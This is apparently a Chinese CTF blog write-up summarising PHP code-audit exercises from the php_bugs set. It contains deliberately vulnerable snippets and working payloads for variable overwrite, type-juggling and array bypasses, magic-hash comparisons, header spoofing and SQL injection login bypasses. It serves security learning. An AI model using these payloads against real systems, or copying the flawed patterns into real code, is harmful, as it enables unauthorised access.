[代码审计]PHP_Bugs题目总结(1)
0x00 简介
最近这几天看到了许多关于代码审计的ctf题,在电脑里也翻出来好长时间没看过的php_bugs,干脆最近把这个好好看看!
下载地址:https://github.com/bowu678/php_bugs
0x01 变量覆盖
1.1 extract()
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。条件:若有EXTR_SKIP则不行。
一个简单的变量覆盖的例子:
<?php
$a = 1; //原变量值为1
$b = array('a' => '3');
extract($b); //经过extract()函数对$b处理后
echo $a; //输出结果为3
?>
1.2 例题
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
payload:
?shiyan=&flag=1
这里的=&
就相当于取得别名,数据地址均为一致的
1.3 parse_str()
解析字符串并注册成变量
$b=1;
Parse_str('b=2');
Print_r($b);
结果: $b=2
1.4 import_request_variables()
将 GET/POST/Cookie 变量导入到全局作用域中,全局变量注册。
在5.4之后被取消,只可在4-4.1.0和5-5.4.0可用。
//导入POST提交的变量值,前缀为post_
import_request_variable("p", "post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp", "gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg", "cg_");
1.5 $$变量覆盖
提交参数chs,则可覆盖变量"$chs"的值。$key为chs时,$$key就变成$chs
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value){
$$key = $chs->Convert($value);
}
unset($chs);
}
1.6 全局变量覆盖漏洞
原理: register_globals 是php中的一个控制选项,可以设置成off或者on, 默认为off, 决定是否将 EGPCS(Environment,GET,POST,Cookie,Server)变量注册为全局变量。 如果register_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的$GLOBALS变量.
$_REQUEST 这个超全局变量的值受 php.ini中request_order的影响,在php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST而不包括$_COOKIE。通过COOKIE就可以提交GLOBALS变量。
<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
?>
经过测试,开了register_globals会卡死
0x02 绕过过滤的空白字符
方法一:
代码太长了,直接放链接了:
https://github.com/bowu678/php_bugs/blob/master/02%20%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4%E7%9A%84%E7%A9%BA%E7%99%BD%E5%AD%97%E7%AC%A6.php
这道题,首先需要提交一个number
参数,不能单纯的是数字:
这个参数必须等于自身的整数...
看似在***难我们,但是这里看一下源代码:
做个总结:
1.条件is_numeric($_REQUEST['number'])为假,这个绕过的方法很多使用%00开头就行,也可以再POST一个number参数把GET中的覆盖掉也可以,所以这一步很简单。
2.要求 $req['number']==strval(intval($req['number']))
3.要求intval($req['number']) == intval(strrev($req['number']))
4.is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现得到flag
看上述条件,条件4需要加字符但是加了之后需要满足2,3这两个条件,所以就可以在原题目中简化出2,3,4来进行Fuzzing:
简化后后端代码如下:
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>
Fuzzing代码如下:
import requests
for i in range(256):
rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
if '1' in rq.text:
print "%%%02X"%i
Fuzzing结果如下:
%0C
%2B
方法二:
函数对空白字符的特性 is_numeric函数在开始判断前,会先跳过所有空白字符。这是一个特性。
也就是说,is_numeirc(” \r\n \t 1.2″)是会返回true的。同理,intval(” \r\n \t 12″),也会正常返回12。
可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。
payload:
?number=%00%0c191
0x03 多重加密
题目中有:
<?php
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}
?>
本地则有:
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>
0x04 SQL注入_WITH ROLLUP绕过
一道sql注入的题,有过滤,只截了部分代码:
过滤了很多关键词,这里可以借助select过程中用group by with rollup这个统计的方法进行插入查询:
我们用mysql做几个小实验就明白这个是怎么用的了!
test数据库的基础信息如下:
select * from users group by id with rollup;
看最后一个图,id的值为空,但是name与psw都不为空,这个并不是我提前所设置的,而是这个语法所查询出来的(分组后会在多一行统计)。
所以这里假如我们对psw进行执行呢?
我丢,有内鬼,查询出这个tom是没密码的,所以这里在构造表单的时候,只需要在用户名这里,填上:
tom 'GROUP BY psw WITH ROLLUP LIMIT 1 OFFSET 2--+
就能登陆成功....
参考链接:
因缺思汀的绕过
实验吧 因缺思汀的绕过(with rollup统计)
使用 GROUP BY WITH ROLLUP 改善统计性能
0x05 绕过ereg的正则
代码如下:
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
首先是pssword参数必须是一个数字,同时要小于8位,大于7位最大值,这里可用科学技术法绕过:
payload:1e7
以上的都可以
接下来,看下面的匹配:必须存在*-*
这个字符串,但是上面的ereg
函数已经有对password
检测字符了,但是这个函数是存在绕过方式的:
1.Eregi匹配可以用%00截断
2.eregi匹配可用数组绕过
ereg是处理字符串,传入数组之后,ereg是返回NULL
所以这里有两个绕过方法:
方法一:
就是用%00去截断:
payload:?password=1e7%00*-*
方法二:
就是把password通过数组的形式去传参:
payload:?password[]=1e7&password[]=*-*
0x06 strcmp比较字符串
代码如下:
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>f
这里用的是strcmp()函数,这个函数是用于比较字符串的函数,但是倘若他收到一个数组形式的数据时,这个函数将发生错误。
但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞。
当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。
strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是,NULL0是 bool(true)
so,flag出来了:
0x07 sha()函数比较绕过
代码如下:
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
这里着重记一下:===
会比较数据类型
sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===
运算符就可以发挥作用了
需要构造username和password既不相等,又同样是数组类型:
?name[]=a&password[]=b
0x08 SESSION验证绕过
做两步:
1.http://127.0.0.1/Php_Bug/08.php?password=
2.清空cookies的值
0x09 密码md5比较绕过
重点代码如下:
分析如下:
只要让row[pw]的值与pass经过md5之后的值相等即可 而$pass经过md5之后的值是我们可以通过正常输入控制的
同时,row[pw]的值是从$sql提取出来的
目标就一句话:只要我们能够修改$sql的值,此题解决。
构造payload:
username'AND 0=1 UNION SELECT "c4ca4238a0b923820dcc509a6f75849b" #
c4ca4238a0b923820dcc509a6f75849b这串MD5值是数字1经过MD5 hash之后的结果
最后的#用来注释掉后面没用的东西
最终,将payload
附加输入到user框里,将数字1输入到pass框里,登录成功。
0x10 urldecode二次编码绕过
这个贼简单,不多说:
h的URL编码为:%68,二次编码为%2568,绕过
http://127.0.0.1/Php_Bug/10.php?id=%2568ackerDJ
0x11 sql闭合绕过
构造exp闭合绕过 admin')#
0x12 X-Forwarded-For绕过指定IP地址
HTTP头添加X-Forwarded-For:1.1.1.1
0x13 md5加密相等绕过
关于md5的前几篇博客有讲:
[CTF]CTF中if (md5(md5($_GET[‘a’])) == md5($_GET[‘b’])) 的绕过
这道题,我看了看有一点点不同:
==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。
同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。
0x14 下一页
写的有点多了,这里放不下了~
其它内容,请跳转至:[代码审计]PHP_Bugs题目总结(2)